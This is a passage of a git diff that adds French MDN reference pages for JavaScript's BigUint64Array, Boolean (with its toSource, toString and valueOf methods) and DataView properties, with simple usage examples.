Renvoie une chaîne de caractère qui représente le tableau et ses éléments. Voir également {{jsxref("Array.prototype.toString()")}}.
+
{{jsxref("TypedArray.@@iterator", "BigInt64Array.prototype[@@iterator]()")}}
+
Renvoie un nouvel objet Array Iterator qui contient les valeurs correspondantes à chaque indice du tableau.
+
+ +

Exemples

+ +

Différentes façons de créer un objet BigInt64Array :

+ +
// Construction à partir d'une longueur
+var bigInt64 = new BigInt64Array(2);
+bigInt64[0] = 42n;
+console.log(bigInt64[0]); // 42n
+console.log(bigInt64.length); // 2
+console.log(bigInt64.BYTES_PER_ELEMENT); // 8
+
+// Construction à partir d'un tableau
+var arr = new BigInt64Array([21n,31n]);
+console.log(arr[1]); // 31n
+
+// Construction à partir d'un tableau typé
+var x = new BigInt64Array([21n, 31n]);
+var y = new BigInt64Array(x);
+console.log(y[0]); // 21n
+
+// Construction à partir d'un ArrayBuffer
+var buffer = new ArrayBuffer(32);
+var z = new BigInt64Array(buffer, 0, 4);
+
+// Construction à partir d'un itérable
+var iterable = function*(){ yield* [1n, 2n, 3n]; }();
+var BigInt64 = new BigInt64Array(iterable);
+// BigInt64Array[1n, 2n, 3n]
+
+ +

Spécifications

+ + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
Proposition pour BigIntProposition de niveau 3
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.BigInt64Array")}}

+ +

Voir aussi

+ + diff --git a/files/fr/web/javascript/reference/global_objects/biguint64array/index.html b/files/fr/web/javascript/reference/global_objects/biguint64array/index.html new file mode 100644 index 0000000000..659a4d8aec --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/biguint64array/index.html @@ -0,0 +1,184 @@ +--- +title: BigUint64Array +slug: Web/JavaScript/Reference/Objets_globaux/BigUint64Array +tags: + - BigInt + - Constructeur + - JavaScript + - Reference + - TypedArray + - TypedArrays +translation_of: Web/JavaScript/Reference/Global_Objects/BigUint64Array +--- +
{{JSRef}}
+ +

Le tableau typé BigUint64Array permet de représenter un tableau d'entiers non signés représentés sur 64 bits, où l'ordre des octets correspond à celui de la plateforme utilisée. Si on souhaite contrôler l'ordre des octets utilisé (le « boutisme »), on utilisera un objet {{jsxref("DataView")}} à la place. Les éléments du tableau sont initialisés à 0n. Une fois que le tableau est construit, on peut manipuler ses différents éléments grâce aux méthodes de l'objet ou grâce à la notation usuelle (avec les crochets).

+ +

Syntaxe

+ +
new BigUint64Array();
+new BigUint64Array(longueur);
+new BigUint64Array(tableauTypé);
+new BigUint64Array(objet);
+new BigUint64Array(tampon [, décalage [, longueur]]);
+ +

Pour plus d'informations sur la syntaxe du constructeur et le rôle des différents paramètres, voir la page TypedArray.

+ +

Propriétés

+ +
+
{{jsxref("TypedArray.BYTES_PER_ELEMENT", "BigUint64Array.BYTES_PER_ELEMENT")}}
+
Cette propriété renvoie un nombre correspondant à la quantité d'octets pour un élément du tableau. Dans le cas d'BigUint64Array, ce sera 8.
+
BigUint64Array.length
+
La propriété de longueur statique qui vaut 3. Pour connaître le nombre d'élément, voir {{jsxref("TypedArray.prototype.length", "BigUint64Array.prototype.length")}}.
+
{{jsxref("TypedArray.name", "BigUint64Array.name")}}
+
Cette propriété renvoie la chaîne de caractères correspondant au nom du constructeur. Pour BigUint64Array ce sera : "BigUint64Array".
+
{{jsxref("TypedArray.prototype", "BigUint64Array.prototype")}}
+
Le prototype des objets TypedArray.
+
+ +

Méthodes

+ +
+
{{jsxref("TypedArray.from", "BigUint64Array.from()")}}
+
Cette méthode permet de créer un nouveau tableau typé BigUint64Array à partir d'un itérable ou d'un objet semblable à un tableau. Voir aussi {{jsxref("Array.from()")}}.
+
{{jsxref("TypedArray.of", "BigUint64Array.of()")}}
+
Cette méthode permet de créer un nouvel objet BigUint64Array à partir d'un nombre d'arguments variables. Voir aussi {{jsxref("Array.of()")}}.
+
+ +

Prototype BigUint64Array

+ +

Tous les objets BigUint64Array héritent de {{jsxref("TypedArray.prototype", "%TypedArray%.prototype")}}.

+ +

Propriétés

+ +
+
BigUint64Array.prototype.constructor
+
Cette propriété renvoie la fonction qui a créé l'instance du prototype. Par défaut, ce sera le constructeur BigUint64Array.
+
{{jsxref("TypedArray.prototype.buffer", "BigUint64Array.prototype.buffer")}} {{readonlyInline}}
+
Cette propriété renvoie l'objet {{jsxref("ArrayBuffer")}} référencé par l'objet BigUint64Array Elle est déterminée lors de la construction et est accessible uniquement en lecture seule.
+
{{jsxref("TypedArray.prototype.byteLength", "BigUint64Array.prototype.byteLength")}} {{readonlyInline}}
+
Cette propriété renvoie la longueur, exprimée en octets, de l'objet BigUint64Array à partir du début de l'objet {{jsxref("ArrayBuffer")}} correspondant. Elle est déterminée lors de la construction et est accessible uniquement en lecture seule.
+
{{jsxref("TypedArray.prototype.byteOffset", "BigUint64Array.prototype.byteOffset")}} {{readonlyInline}}
+
Cette propriété renvoie le décalage, en nombre d'octets, entre le début du tableau typé courant et du début du {{jsxref("ArrayBuffer")}} correspondant. Elle est déterminée lors de la construction et est accessible uniquement en lecture seule.
+
{{jsxref("TypedArray.prototype.length", "BigUint64Array.prototype.length")}} {{readonlyInline}}
+
Cette propriété renvoie le nombre d'éléments contenus dans le tableau BigUint64Array. Elle est déterminée lors de la construction et est accessible uniquement en lecture seule.
+
+ +

Méthodes

+ +
+
{{jsxref("TypedArray.copyWithin", "BigUint64Array.prototype.copyWithin()")}}
+
Copie une suite d'éléments d'un tableau dans le tableau. Voir également {{jsxref("Array.prototype.copyWithin()")}}.
+
{{jsxref("TypedArray.entries", "BigUint64Array.prototype.entries()")}}
+
Renvoie un nouvel objet Array Iterator qui contient les paires clé/valeur pour chaque indice du tableau. Voir également {{jsxref("Array.prototype.entries()")}}.
+
{{jsxref("TypedArray.every", "BigUint64Array.prototype.every()")}}
+
Teste si l'ensemble des éléments du tableau remplissent une certaine condition donnée par une fonction de test. Voir également {{jsxref("Array.prototype.every()")}}.
+
{{jsxref("TypedArray.fill", "BigUint64Array.prototype.fill()")}}
+
Remplit les éléments d'un tableau avec une certaine valeur pour les éléments compris entre un indice de début et un indice de fin. Voir également {{jsxref("Array.prototype.fill()")}}.
+
{{jsxref("TypedArray.filter", "BigUint64Array.prototype.filter()")}}
+
Crée un nouveau tableau dont tous les éléments proviennent de ce tableau et respectent une condition fournie par une fonction de test. Voir également {{jsxref("Array.prototype.filter()")}}.
+
{{jsxref("TypedArray.find", "BigUint64Array.prototype.find()")}}
+
Renvoie une valeur trouvée dans le tableau s'il existe un élément du tableau qui satisfait une condition fournie par une fonction de test, s'il n'y a pas de tel élément undefined sera renvoyé. Voir également {{jsxref("Array.prototype.find()")}}.
+
{{jsxref("TypedArray.findIndex", "BigUint64Array.prototype.findIndex()")}}
+
Renvoie l'indice d'un élément qui satisfait une condition fournie par une fonction de test, si aucun élément ne remplit la condition -1 sera renvoyé. Voir également {{jsxref("Array.prototype.findIndex()")}}.
+
{{jsxref("TypedArray.forEach", "BigUint64Array.prototype.forEach()")}}
+
Appelle une fonction pour chacun des élément du tableau. Voir également {{jsxref("Array.prototype.forEach()")}}.
+
{{jsxref("TypedArray.includes", "BigUint64Array.prototype.includes()")}}
+
Détermine si le tableau typé contient un élément donné. Cette méthode renvoie true ou false selon le cas de figure. Voir également {{jsxref("Array.prototype.includes()")}}.
+
{{jsxref("TypedArray.indexOf", "BigUint64Array.prototype.indexOf()")}}
+
Renvoie le premier indice (le plus petit) d'un élément du tableau qui est égal à la valeur fournie. Si aucun élément ne correspond, la valeur -1 sera renvoyée. Voir également {{jsxref("Array.prototype.indexOf()")}}.
+
{{jsxref("TypedArray.join", "BigUint64Array.prototype.join()")}}
+
Fusionne l'ensemble des éléments du tableau en une chaîne de caractères. Voir également {{jsxref("Array.prototype.join()")}}.
+
{{jsxref("TypedArray.keys", "BigUint64Array.prototype.keys()")}}
+
Renvoie un nouvel objet Array Iterator qui contient les clés de chaque indice du tableau. Voir également {{jsxref("Array.prototype.keys()")}}.
+
{{jsxref("TypedArray.lastIndexOf", "BigUint64Array.prototype.lastIndexOf()")}}
+
Renvoie le dernier indice (le plus élevé) d'un élément du tableau qui est égal à la valeur fournie. Si aucun élément ne correspond, la valeur -1 sera renvoyée. Voir également {{jsxref("Array.prototype.lastIndexOf()")}}.
+
{{jsxref("TypedArray.map", "BigUint64Array.prototype.map()")}}
+
Crée un nouveau tableau dont les éléments sont les images des éléments du tableau courant par une fonction donnée. Voir également {{jsxref("Array.prototype.map()")}}.
+
{{jsxref("TypedArray.reduce", "BigUint64Array.prototype.reduce()")}}
+
Applique une fonction sur un accumulateur et chaque élément du tableau (de gauche à droite) afin de réduire le tableau en une seule valeur. Voir également {{jsxref("Array.prototype.reduce()")}}.
+
{{jsxref("TypedArray.reduceRight", "BigUint64Array.prototype.reduceRight()")}}
+
Applique une fonction sur un accumulateur et chaque élément du tableau (de droite à gauche) afin de réduire le tableau en une seule valeur. Voir également {{jsxref("Array.prototype.reduceRight()")}}.
+
{{jsxref("TypedArray.reverse", "BigUint64Array.prototype.reverse()")}}
+
Inverse l'ordre des éléments d'un tableau. Le premier élément du tableau devient le dernier et le dernier devient le premier (et ainsi de suite). Voir également {{jsxref("Array.prototype.reverse()")}}.
+
{{jsxref("TypedArray.set", "BigUint64Array.prototype.set()")}}
+
Enregistre plusieurs valeurs dans le tableau typé à partir de valeurs d'un autre tableau.
+
{{jsxref("TypedArray.slice", "BigUint64Array.prototype.slice()")}}
+
Extrait un fragment d'un tableau et renvoie ce fragment. Voir également {{jsxref("Array.prototype.slice()")}}.
+
{{jsxref("TypedArray.some", "BigUint64Array.prototype.some()")}}
+
Renvoie true si au moins un des éléments remplit une condition donnée par une fonction de test. Voir également {{jsxref("Array.prototype.some()")}}.
+
{{jsxref("TypedArray.sort", "BigUint64Array.prototype.sort()")}}
+
Trie les éléments du tableau et renvoie ce tableau. Voir également {{jsxref("Array.prototype.sort()")}}.
+
{{jsxref("TypedArray.subarray", "BigUint64Array.prototype.subarray()")}}
+
Renvoie un nouvel objet BigUint64Array qui est le fragment du tableau courant, entre les indices de début et de fin donnés.
+
{{jsxref("TypedArray.values", "BigUint64Array.prototype.values()")}}
+
Renvoie un nouvel objet Array Iterator qui contient les valeurs correspondantes à chaque indice du tableau. Voir également {{jsxref("Array.prototype.values()")}}.
+
{{jsxref("TypedArray.toLocaleString", "BigUint64Array.prototype.toLocaleString()")}}
+
Renvoie une chaîne de caractères localisée qui représente le tableau et ses éléments. Voir également {{jsxref("Array.prototype.toLocaleString()")}}.
+
{{jsxref("TypedArray.toString", "BigUint64Array.prototype.toString()")}}
+
Renvoie une chaîne de caractère qui représente le tableau et ses éléments. Voir également {{jsxref("Array.prototype.toString()")}}.
+
{{jsxref("TypedArray.@@iterator", "BigUint64Array.prototype[@@iterator]()")}}
+
Renvoie un nouvel objet Array Iterator qui contient les valeurs correspondantes à chaque indice du tableau.
+
+ +

Exemples

+ +

Différentes façons de créer un objet BigUint64Array :

+ +
// Construction à partir d'une longueur
+var bigInt64 = new BigUint64Array(2);
+bigInt64[0] = 42n;
+console.log(bigInt64[0]); // 42n
+console.log(bigInt64.length); // 2
+console.log(bigInt64.BYTES_PER_ELEMENT); // 8
+
+// Construction à partir d'un tableau
+var arr = new BigUint64Array([21n,31n]);
+console.log(arr[1]); // 31n
+
+// Construction à partir d'un tableau typé
+var x = new BigUint64Array([21n, 31n]);
+var y = new BigUint64Array(x);
+console.log(y[0]); // 21n
+
+// Construction à partir d'un ArrayBuffer
+var buffer = new ArrayBuffer(32);
+var z = new BigUint64Array(buffer, 0, 4);
+
+// Construction à partir d'un itérable
+var iterable = function*(){ yield* [1n, 2n, 3n]; }();
+var BigInt64 = new BigUint64Array(iterable);
+// BigUint64Array[1n, 2n, 3n]
+
+ +

Spécifications

+ + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
Proposition pour BigIntProposition de niveau 3
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.BigUint64Array")}}

+ +

Voir aussi

+ + diff --git a/files/fr/web/javascript/reference/global_objects/boolean/index.html b/files/fr/web/javascript/reference/global_objects/boolean/index.html new file mode 100644 index 0000000000..e6c29376f2 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/boolean/index.html @@ -0,0 +1,166 @@ +--- +title: Boolean +slug: Web/JavaScript/Reference/Objets_globaux/Boolean +tags: + - Boolean + - Constructeur + - JavaScript + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Boolean +--- +
{{JSRef}}
+ +

L'objet Boolean est un objet permettant de représenter une valeur booléenne.

+ +

Syntaxe

+ +
new Boolean([valeur])
+ +

Paramètres

+ +
+
valeur{{optional_inline}}
+
Paramètre optionnel, la valeur initiale de l'objet Boolean.
+
+ +

Description

+ +

La valeur passée en premier paramètre est, si nécessaire, convertie en valeur booléenne. Si la valeur est omise ou est 0, -0, {{jsxref("null")}}, false, {{jsxref("NaN")}}, {{jsxref("undefined")}} ou une chaine de caractères vide (""), l'objet a un valeur initiale à false (faux). Si l'objet DOM {{domxref("document.all")}} est passé en argument, la valeur initiale sera également false. Toutes les autres valeurs, y compris n'importe quel objet, un tableau vide ([]), ou une chaine de caractères "false", créént un objet avec une valeur initiale à true (vrai).

+ +

Ne pas confondre les valeurs primitives booléennes true et false avec les valeurs true et false d'un objet Booléen.

+ +

Tout objet dont la valeur n'est ni  undefined ni null, incluant un objet Booléen dont la valeur est fausse, évalue à true lorsqu'il est à une instruction conditionnelle. Par exemple, la condition (voir {{jsxref("Instructions/if...else", "if")}}), dans le code suivant, est validée si l'expression est évaluée à true :

+ +
var x = new Boolean("false");
+if (x) {
+  // . . . le code est exécuté
+}
+
+var y = new Boolean(false);
+if (y) {
+  // ce code est également exécuté
+}
+
+ +

Ce comportement ne s'applique pas aux valeurs primitives booléennes. Par exemple, la condition, dans le code suivant, est évaluée à false :

+ +
var x = false;
+if (x) {
+  // . . . le code n'est pas exécuté
+}
+
+ +

Ne pas utiliser un objet Boolean pour convertir une valeur non-booléenne en une valeur booléenne. Utilisez plutot une fonction booléenne pour effectuer cette tâche :

+ +
var x = Boolean(expression);     // conseillé
+var y = new Boolean(expression); // à ne pas utiliser
+
+ +

Si vous spécifiez un objet quelconque, incluant un objet booléen qui a une valeur fausse, le nouvel objet Boolean a une valeur vraie.

+ +
var myFalse = new Boolean(false);   // valeur initiale à false
+var g = Boolean(myFalse);       // valeur initiale à true
+var myString = new String("Hello"); // un object String
+var s = Boolean(myString);      // valeur initiale à true
+
+ +

Ne pas utiliser un objet Booléen à la place d'une valeur primitive booléenne.

+ +
+

Note : Lorsque la propriété historique, non-standard, document.all est utilisée comme argument, le constructeur Boolean renvoie un objet booléen faux. Cette propriété étant non-standard, son utilisation est déconseillée.

+
+ +

Propriétés

+ +
+
Boolean.length
+
Renvoie 1. Le nombre d'arguments pris en charge par le constructeur.
+
{{jsxref("Boolean.prototype")}}
+
Représente le prototype du constructeur Boolean.
+
+ +

Méthodes

+ +

L'objet global Boolean ne contient pas ses propres méthodes, cependant, il hérite de certaines méthodes à travers la chaine de prototypes.

+ +

Instances de Boolean

+ +

Toutes les Boolean héritent de {{jsxref("Boolean.prototype")}}. Comme avec tous les constructeurs, l'objet prototype dicte les propriétés et les méthodes héritées par les instances.

+ +

Propriétés

+ +

{{page('fr/docs/JavaScript/Reference/Objets_globaux/Boolean/prototype','Propri.C3.A9t.C3.A9s')}}

+ +

Méthodes

+ +

{{page('fr/docs/JavaScript/Reference/Objets_globaux/Boolean/prototype','M.C3.A9thodes')}}

+ +

Exemples

+ +

Création d'objets Boolean avec une valeur initiale à faux

+ +
var bNoParam = new Boolean();
+var bZero = new Boolean(0);
+var bNull = new Boolean(null);
+var bEmptyString = new Boolean("");
+var bfalse = new Boolean(false);
+
+ +

Création d'objets Boolean avec une valeur initiale à vrai

+ +
var btrue = new Boolean(true);
+var btrueString = new Boolean("true");
+var bfalseString = new Boolean("false");
+var bArrayProto = new Boolean([]);
+var bObjProto = new Boolean({});
+var bSuLin = new Boolean("Su Lin");
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.0.
{{SpecName('ES5.1', '#sec-15.6', 'Boolean')}}{{Spec2('ES5.1')}}
{{SpecName('ES6', '#sec-boolean-objects', 'Boolean')}}{{Spec2('ES6')}}
{{SpecName('ESDraft', '#sec-boolean-objects', 'Boolean')}}{{Spec2('ESDraft')}}
+ +

Compatibilité des navigateurs

+ +
+ + +

{{Compat("javascript.builtins.Boolean")}}

+
+ +

Voir aussi

+ + diff --git a/files/fr/web/javascript/reference/global_objects/boolean/tosource/index.html b/files/fr/web/javascript/reference/global_objects/boolean/tosource/index.html new file mode 100644 index 0000000000..c40a6885ad --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/boolean/tosource/index.html @@ -0,0 +1,59 @@ +--- +title: Boolean.prototype.toSource() +slug: Web/JavaScript/Reference/Objets_globaux/Boolean/toSource +tags: + - Boolean + - JavaScript + - Méthode + - Non-standard + - Prototype + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Boolean/toSource +--- +
{{JSRef}} {{Non-standard_header}}
+ +

La méthode toSource() renvoie une chaine de caractères représentant le code source de l'objet.

+ +

Syntaxe

+ +
booleanObj.toSource()
+Boolean.toSource()
+ +

Valeur de retour

+ +

Une chaîne de caractères représentant le code source de l'objet.

+ +

Description

+ +

La méthode toSource renvoie les valeurs suivantes :

+ +
    +
  • Pour l'objet natif {{jsxref("Boolean")}} object, toSource renvoie la chaîne de caractères suivantes qui indique que le code source n'est pas disponible : + + 
    function Boolean() {
+    [native code]
+}
+
    +
    • +
  • Pour les instances de {{jsxref("Boolean")}}, toSource renvoie une chaîne explicitant le code source de l'objet.
    • +
+ +

Cette méthode est généralement utilisée de façon interne par le moteur JavaScript et n'est pas appelée explicitement dans des scripts.

+ +

Spécifications

+ +

Ne fait partie d'aucun standard. Implémentée avec JavaScript 1.3.

+ +

Compatibilité des navigateurs

+ +
+ + +

{{Compat("javascript.builtins.Boolean.toSource")}}

+
+ +

Voir aussi

+ +
    +
  • {{jsxref("Object.prototype.toSource()")}} {{non-standard_inline}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/boolean/tostring/index.html b/files/fr/web/javascript/reference/global_objects/boolean/tostring/index.html new file mode 100644 index 0000000000..e1e7ab0dcc --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/boolean/tostring/index.html @@ -0,0 +1,90 @@ +--- +title: Boolean.prototype.toString() +slug: Web/JavaScript/Reference/Objets_globaux/Boolean/toString +tags: + - Boolean + - JavaScript + - Méthode + - Prototype + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Boolean/toString +--- +
{{JSRef}}
+ +

La méthode toString() renvoie une chaine de caractères correspondant à l'objet Boolean courant.

+ +
{{EmbedInteractiveExample("pages/js/boolean-tostring.html")}}
+ + + +

Syntaxe

+ +
bool.toString()
+ +

Valeur de retour

+ +

Une chaîne de caractères qui représente l'objet {{jsxref("Boolean")}}.

+ +

Description

+ +

L'objet {{jsxref("Boolean")}} surcharge la méthode toString() de l'objet {{jsxref("Object")}} ; il n'hérite pas de la méthode {{jsxref("Object.prototype.toString()")}}. Pour les objets de type Boolean, la méthode toString() renvoie une chaine de caractère representative de l'objet.

+ +

La méthode toString() est automatiquement appelée quand le Boolean doit être representé comme une texte ou lorsque qu'il est concaténé avec une chaine de caractères.

+ +

Pour les objets de type Boolean , la fonction native toString() renvoie la chaine de caractère "true" ou "false" en fonction de la valeur de l'objet.

+ +

Exemples

+ +

Utiliser toString()

+ +

Dans ce code, flag.toString() renvoie "true" :

+ +
var flag = new Boolean(true);
+var maVar = flag.toString();
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationStatutCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.1.
{{SpecName('ES5.1', '#sec-15.6.4.2', 'Boolean.prototype.toString')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-boolean.prototype.tostring', 'Boolean.prototype.toString')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-boolean.prototype.tostring', 'Boolean.prototype.toString')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ +
+ + +

{{Compat("javascript.builtins.Boolean.toString")}}

+
+ +

Voir aussi

+ +
    +
  • {{jsxref("Object.prototype.toString()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/boolean/valueof/index.html b/files/fr/web/javascript/reference/global_objects/boolean/valueof/index.html new file mode 100644 index 0000000000..5f14a8bff9 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/boolean/valueof/index.html @@ -0,0 +1,86 @@ +--- +title: Boolean.prototype.valueOf() +slug: Web/JavaScript/Reference/Objets_globaux/Boolean/valueOf +tags: + - Boolean + - JavaScript + - Méthode + - Prototype + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Boolean/valueOf +--- +
{{JSRef}}
+ +

La méthode valueOf() renvoie la valeur primitive de l'objet {{jsxref("Boolean")}}.

+ +
{{EmbedInteractiveExample("pages/js/boolean-valueof.html")}}
+ + + +

Syntaxe

+ +
bool.valueOf()
+ +

Valeur de retour

+ +

La valeur primitive associée à l'objet {{jsxref("Boolean")}}.

+ +

Description

+ +

La méthode valueOf() de {{jsxref("Boolean")}} renvoie la valeur primitive d'un objet Boolean, ou d'un littéral booléen.

+ +

Cette méthode est généralement utilisée de façon interne pas le moteur JavaScript et n'est pas utilisée explicitement dans les scripts.

+ +

Exemples

+ +

Utiliser valueOf()

+ +
var x = new Boolean();
+var maVar = x.valueOf()      // assigne false à maVar
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.1.
{{SpecName('ES5.1', '#sec-15.6.4.3', 'Boolean.prototype.valueOf')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-boolean.prototype.valueof', 'Boolean.prototype.valueOf')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-boolean.prototype.valueof', 'Boolean.prototype.valueOf')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ +
+ + +

{{Compat("javascript.builtins.Boolean.valueOf")}}

+
+ +

Voir aussi

+ +
    +
  • {{jsxref("Object.prototype.valueOf()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/dataview/buffer/index.html b/files/fr/web/javascript/reference/global_objects/dataview/buffer/index.html new file mode 100644 index 0000000000..3b88dd7b93 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/dataview/buffer/index.html @@ -0,0 +1,71 @@ +--- +title: DataView.prototype.buffer +slug: Web/JavaScript/Reference/Objets_globaux/DataView/buffer +tags: + - DataView + - JavaScript + - Propriété + - Prototype + - Reference + - TypedArrays +translation_of: Web/JavaScript/Reference/Global_Objects/DataView/buffer +--- +
{{JSRef}}
+ +

L'accesseur buffer est une propriété représentant l'objet {{jsxref("ArrayBuffer")}} ou {{jsxref("SharedArrayBuffer")}} référencé par la vue DataView lors de sa construction.

+ +
{{EmbedInteractiveExample("pages/js/dataview-buffer.html")}}
+ + + +

Syntaxe

+ +
dataview.buffer
+ +

Description

+ +

La propriété buffer est un accesseur/mutateur dont le mutateur correspondant vaut undefined, cela signifie qu'il n'est possible que de lire cette propriété. Sa valeur est établie lors de la construction de l'objet DataView et ne peut pas être modifiée.

+ +

Exemples

+ +

Utilisation de la propriété buffer

+ +
var buffer = new ArrayBuffer(8);
+var dataview = new DataView(buffer);
+dataview.buffer; // ArrayBuffer { byteLength: 8 }
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationStatutCommentaires
{{SpecName('ES6', '#sec-get-dataview.prototype.buffer', 'DataView.prototype.buffer')}}{{Spec2('ES6')}}Définition initiale.
{{SpecName('ESDraft', '#sec-get-dataview.prototype.buffer', 'DataView.prototype.buffer')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.DataView.buffer")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("DataView")}}
    • +
  • {{jsxref("ArrayBuffer")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/dataview/bytelength/index.html b/files/fr/web/javascript/reference/global_objects/dataview/bytelength/index.html new file mode 100644 index 0000000000..d02edfb161 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/dataview/bytelength/index.html @@ -0,0 +1,78 @@ +--- +title: DataView.prototype.byteLength +slug: Web/JavaScript/Reference/Objets_globaux/DataView/byteLength +tags: + - DataView + - JavaScript + - Propriété + - Prototype + - Reference + - TypedArrays +translation_of: Web/JavaScript/Reference/Global_Objects/DataView/byteLength +--- +
{{JSRef}}
+ +

L'accesseur byteLength est une propriété représentant la longueur, exprimée en octets, de cette vue depuis le début de l'objet {{jsxref("ArrayBuffer")}} ou {{jsxref("SharedArrayBuffer")}} correspondant.

+ +
{{EmbedInteractiveExample("pages/js/dataview-bytelength.html")}}
+ + + +

Syntaxe

+ +
dataview.byteLength
+ +

Description

+ +

La propriété byteLength est une propriété accesseur/mutateur dont le mutateur vaut  undefined. Cela signifie que cette propriété est en lecture seule. Cette valeur est déterminée lorsque l'objet DataView est construit et ne peut pas être changée. Si DataView ne définit pas de décalage avec byteOffset ou ne spécifie pas byteLength, ce sera la byteLength de l'objet ArrayBuffer ou SharedArrayBuffer référencé qui sera renvoyée.

+ +

Exemples

+ +

Utilisation de la propriété byteLength

+ +
var buffer = new ArrayBuffer(8);
+var dataview = new DataView(buffer);
+dataview.byteLength; // 8 (correspond au byteLength du buffer)
+
+var dataview2 = new DataView(buffer, 1, 5);
+dataview2.byteLength; // 5 (correspond à la longueur utilisée pour la définition)
+
+var dataview3 = new DataView(buffer, 2);
+dataview3.byteLength; // 6 (en raison du décalage (offset) pour la construction du DataView)
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationStatutCommentaires
{{SpecName('ES6', '#sec-get-dataview.prototype.bytelength', 'DataView.prototype.byteLength')}}{{Spec2('ES6')}}Définition initiale.
{{SpecName('ESDraft', '#sec-get-dataview.prototype.bytelength', 'DataView.prototype.byteLength')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.DataView.byteLength")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("DataView")}}
    • +
  • {{jsxref("ArrayBuffer")}}
    • +
  • {{jsxref("SharedArrayBuffer")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/dataview/byteoffset/index.html b/files/fr/web/javascript/reference/global_objects/dataview/byteoffset/index.html new file mode 100644 index 0000000000..1f26b5827b --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/dataview/byteoffset/index.html @@ -0,0 +1,75 @@ +--- +title: DataView.prototype.byteOffset +slug: Web/JavaScript/Reference/Objets_globaux/DataView/byteOffset +tags: + - DataView + - JavaScript + - Propriété + - Prototype + - Reference + - TypedArrays +translation_of: Web/JavaScript/Reference/Global_Objects/DataView/byteOffset +--- +
{{JSRef}}
+ +

La propriété byteOffset est un accesseur représentant le décalage, exprimé en octets, entre la vue et le début de l'objet {{jsxref("ArrayBuffer")}} ou {{jsxref("SharedArrayBuffer")}} correspondant.

+ +
{{EmbedInteractiveExample("pages/js/dataview-byteoffset.html")}}
+ + + +

Syntaxe

+ +
dataview.byteOffset
+ +

Description

+ +

La propriété byteOffset est un accesseur/mutateur dont la fonction du mutateur vaut  undefined. Cela signifie que la propriété n'est accesssible qu'en lecture seule. La valeur de la propriété est définie lors de la construction de l'objet DataView et ne peut pas être modifiée.

+ +

Exemples

+ +

Utilisation de la propriété byteOffset

+ +
var buffer = new ArrayBuffer(8);
+var dataview = new DataView(buffer);
+dataview.byteOffset; // 0 (aucun décalage)
+
+var dataview2 = new DataView(buffer, 3);
+dataview2.byteOffset; // 3 (décalage défini lors de la construction de la vue)
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationStatutCommentaires
{{SpecName('ES6', '#sec-get-dataview.prototype.byteoffset', 'DataView.prototype.byteOffset')}}{{Spec2('ES6')}}Définition initiale.
{{SpecName('ESDraft', '#sec-get-dataview.prototype.byteoffset', 'DataView.prototype.byteOffset')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.DataView.byteOffset")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("DataView")}}
    • +
  • {{jsxref("ArrayBuffer")}}
    • +
  • {{jsxref("SharedArrayBuffer")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/dataview/getbigint64/index.html b/files/fr/web/javascript/reference/global_objects/dataview/getbigint64/index.html new file mode 100644 index 0000000000..b5d6e40180 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/dataview/getbigint64/index.html @@ -0,0 +1,88 @@ +--- +title: DataView.prototype.getBigInt64() +slug: Web/JavaScript/Reference/Objets_globaux/DataView/getBigInt64 +tags: + - BigInt + - DataView + - JavaScript + - Méthode + - Prototype + - Reference + - TypedArrays +translation_of: Web/JavaScript/Reference/Global_Objects/DataView/getBigInt64 +--- +
{{JSRef}}
+ +

La méthode getBigInt64() permet de lire un entier signé sur 64 bits (type long long par analogie avec C) à l'octet donné par rapport au début de {{jsxref("DataView")}}.

+ +
{{EmbedInteractiveExample("pages/js/dataview-getbigint64.html")}}
+ + + +

Syntaxe

+ +
